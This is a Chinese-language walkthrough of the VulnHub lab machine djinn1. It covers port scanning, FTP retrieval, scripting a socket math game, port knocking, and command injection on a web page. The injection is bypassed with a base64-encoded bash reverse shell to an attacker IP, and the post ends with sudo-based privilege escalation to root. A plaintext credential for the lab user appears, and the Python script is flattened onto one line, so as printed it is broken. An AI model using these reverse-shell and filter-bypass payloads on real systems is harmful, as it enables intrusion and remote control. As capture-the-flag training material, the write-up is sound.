vulnhub-djinn1

获取 IP 地址,目标机器已显示:
febd49c17dc5de128461aa9bef3e919.png

获取信息:nmap -A -p- 192.168.67.108
得到 4 个端口:
21 --> FTP --> open --> 猜测有文件可获取
22 --> SSH --> filtered --> 猜测为敲门服务[DC 有练过]
1337 --> SOME --> open --> 使用 nc 连接
7331 --> HTTP --> open --> 网页
b14011fb981aadff659b1697daf9334.png
3d633a734a62e53cdb4e7c37e305211.png

21 --> FTP
仔细看 nmap 扫描返回的结果,可以看到可以使用 Anonymous 用户名登陆,并且有三个文件可读,可以 GET 下来查看:
ftp 192.168.67.108 21
ls
get creds.txt
get game.txt
get message.txt
e551895b9ee9f0bbb5c1b2ef713ac04.png
查看三个文件:
56a2b6abbd20bbff212ea6d37298270.png

1337 --> game
nc 192.168.67.108 1337
f07849b89f0fee6769488cb8b871213.png
哦吼,1000 次,这是手动做的事情吗?当然不是,编写脚本自动跑吧~脚本后面会简单解释下[注:python编写]

#!/usr/bin/env python3
import socket,timedef calc(firstnum,secondnum,flag):firstnum = int(firstnum)secondnum = int(secondnum)answer = 0if flag == '+':answer = firstnum + secondnumif flag == '-':answer = firstnum - secondnumif flag == '*':answer = firstnum * secondnumif flag == '/':answer = firstnum / secondnumreturn int(answer)def get_data(s):try:total_data = []for i in range(1):try:time.sleep(0.1)data = s.recv(14)print("Length: "+str(len(data)))if not len(data):breaktotal_data.append(data.decode("utf-8"))except:continuereturn total_dataexcept socket.error as e:print(e)def main():try:time.sleep(2)s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)s.connect(("192.168.67.108",1337))s.setblocking(0)total_data = []time.sleep(2)data = s.recv(444)# print(data)total_data.append(data.decode("utf-8"))firstget = total_data[0]# print(firstget)flag = firstget[-9]num2 = firstget[-5]num1 = firstget[-13]print(num1,flag,num2)answer = str(calc(num1,num2,flag))print("Answer: "+answer)for i in range(1,1002):print("times: "+str(i))s.sendall(answer.encode("utf-8")+"\x0a".encode("utf-8"))if i == 1001:total_data = []time.sleep(2)data = s.recv(74)#print(len(data))total_data.append(data.decode("utf-8"))firstget = total_data[0]print(firstget)else:data = get_data(s)[0]num1 = data[1]flag = data[5]num2 = data[9]print("Calc: "+num1+flag+num2)answer = str(calc(num1,num2,flag))print("Answer: "+answer)print()except socket.error as e:print(e)if __name__ == '__main__':main()

这里面最需要注意的地方就是 RECV 阻塞的问题,可以设置非阻塞状态,除此之外,需要在 recv 函数前设置 sleep ,模拟阻塞,这两个都没啥效果,会在中途出 bug,起初我的 recv[] 设置接受数据大小为 20480 ,后面一直不行,打印数据大小,将 recv[] 接受数据改为接受长度,第一次接受到的数据长度为 444 ,第二次到 1001 为 14,最后接受为敲门服务的三个端口号,长度为 74 [题目说是 1000 次,其实是 1001 次…想坑人]

花费时间在几分钟之内
8a49b7d8469dffb91efee30d3f257bd.png

22 --> SSH
得到敲门服务口令:1356, 6784, 3409[利用 nmap 敲门]
cb602f27da4433248d200471a1deaf5.png

刚开始我们可以看到 SSH 被过滤了:
64ae6f4a12ffea4e79326b1f75c994a.png

敲了门以后打开 SSH:[一次敲门不成功你就多敲几次,多敲几次就成功了:D]
nmap -p1356 192.168.67.108
nmap -p6784 192.168.67.108
nmap -p3409 192.168.67.108
nmap -p22 192.168.67.108
7e10cd3846712e1e6a30930539c21ae.png

很好,到这里我们花了一些时间,就为打开一个 SSH 服务:|

7331 --> HTTP
前面三个端口我们都弄完了,接下来到最后一个 web 看看:
f3c04742709d5556b1ed165cd5e0f85.png
就这?啥都点不了,dirb 跑一下路径:
dirb http://192.168.67.108/7331 /usr/share/wordlists/dirb/big.txt
跑出来两个东东:genie 和 wish
2296f0175b430fd08567837ba4fdb49.png
a744490323fabe60d85ff4a5c7fc11a.png

wish 页面一看 Excute 手痒输入 id 命令查看一下,弹出页面,仔细看,哇,障眼法呀(Ctrl_a 高亮)看不清楚查看网页源代码
7f4aa204989fc4a7c27cb5616ce845a.png

查看一下 /etc/passwd
454bfb63d3adebf0871b236567d3c40.png

不禁疑问,这是把空格过滤了还是什么,ls -l,一波,查看网页源代码
f5944b32d35a4aab9b37d7b39bbfba9.png
看来不是把空格过滤了,尝试一下能否获取反弹shell:

nc 192.168.67.221 8686 -e /bin/bash —> Wrong choice of words
这里是把 bash 给过滤掉了吗?换个姿势尝试下~

bash -i >& /dev/tcp/192.168.67.221/8686 0>&1 —> Wrong choice of words
看来是把一些特殊字符过滤掉了,尝试能否编码绕过,但是系统指令时不识别的,会显示未找到命令,那能不能吧把编码过的命令传过去,然后解码然后执行呢?答案是可行的

首先打开侦听端口:
nc -vnlp 8686

其次执行编码:
echo "bash -i >& /dev/tcp/192.168.67.221/8686 0>&1" | base64
2cf84019b7aced677743354133e17c2.png
得到一串编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK

再者在 wish 页面上执行:[其实就是先编码后解码再执行这么三步:D] --> 获取反弹 SHELL
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK" | base64 -d | bash
5548a60531f149f2bd6b69c23e3720c.png

ls -la --> 我也不知道为啥图中双写了,查看了一下内容,没有啥发现,到家目录 /home 看一下
69e5e052e457730bab284920ebae49f.png
233b88ada7e6863003f7a6de2a9f88b.png

查看 users.txt 没有权限,进入 .cache 无权限,进入 .dev 可以,查看 creds.txt
cd .dev
cat creds.txt
6138fcaf5fb9aaca8af75957ccd2cc9.png

得到 nitish 的账号和密码 --> nitish:p4ssw0rdStr3r0n9
到这里可以用两种方法登陆

  1. SSH 登陆
  2. su 进入,但首先得获取 bash 壳,可借助 python,python -c 'import pty;pty.spawn("/bin/bash")',然后 su nitish

竟然有 SSH ,那干嘛不用呢?
ssh nitish@192.168.67.108
c17f03a645124dc08e0b25d89291b91.png

ls -la
cat user.txt
得到一个flag:
659b80866c9ee76dfecd23b3e34a4d9.png

想进入到另外一个 sam 用户,进不了,看一下有没有越权命令可用:
sudo -l
fdd7f3f771045f6ebe39799d6a11f07.png
有一个 /usr/bin/genie 可供我们用 sam 权限使用
man genie查看帮助

有 4 个命令可以使用,猜测作者是想在后续实验恶搞我们,恶趣味啊…后面证明确实如此…
53aa0dd2d0e323055a6f4334956e460.png

4 个命令均尝试一下,[注:玩多了你会发现从右往左或者从后往前可以提高效率,这里还是从前往后搞吧…]
sudo -u sam genie -g id
da0c9e3f7b1c922491acbf36bb13371.png
果然骂人…

sudo -u sam genie -p id 123 --> 还骂
a2b8af7e949e5e0731d4bca736e9d07.png

sudo -u sam genie -e id 123 --> 起初以为良心发现不骂了,事实证明我要拿 shell 时,不给就算了,又骂人
2bf66baf77f2ade2f81ee4c5d72e461.png

sudo -u sam genie -cmd dir --> 最后一个看来不是良心发现,而是不得不给:|
e46be42d795eca6c95cd292bf16bb3d.png

cd /home/sam
ls -la
cat .sudo_as_admin_successful --> 无反应
…初步查阅,有一个 .pyc 我们可以尝试反编译
但是需要下载下来,百思不得其解,后来学习到可以开一个简单的服务器,展示当前目录,从 Browser 下下载,学习了…
python -m SimpleHTTPServer
wget http://192.168.67.108:8000/.pyc
uncomplepy6 .pyc
得到源码,但是还不知道有什么用…
91b94d99d761f1e1778541e2cc7d6c7.png

老手段搞搞:sudo -l
8f3cda03aab63c01ca14c8f57352190.png
有 root 权限,看来提权就结束了
sudo -u root /root/lago --> 是几个选项,你会发现他又开始骂人…
1c24b9967b2d0da08191e43fa29d809.png

唯一能做的就是 2 选项,让你猜数字,只有这个是可以重复的,所以猜测提权入口点在这里。
除此之外你会发现,之前用 uncompyle6 反编译 .pyc 就是这个的源码
经过研究,尝试在 2 项中输入 num ,得到结果:[研究源码,你也会有所发现]
9e4eb57f09957f6b436cd18f68371d3.png
1dba00ac9aef33d89ab04c1080316d7.png
cd /root
ls -la
.proof.sh
32f9172e9b617d315ca5df5114c67a3.png

总结: 0.编写代码的能力 1.SSH 敲门服务 2.编码绕过得到反弹 shell 3.pyc 文件反编译 4.FTP 的简单使用 细节决定成败


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部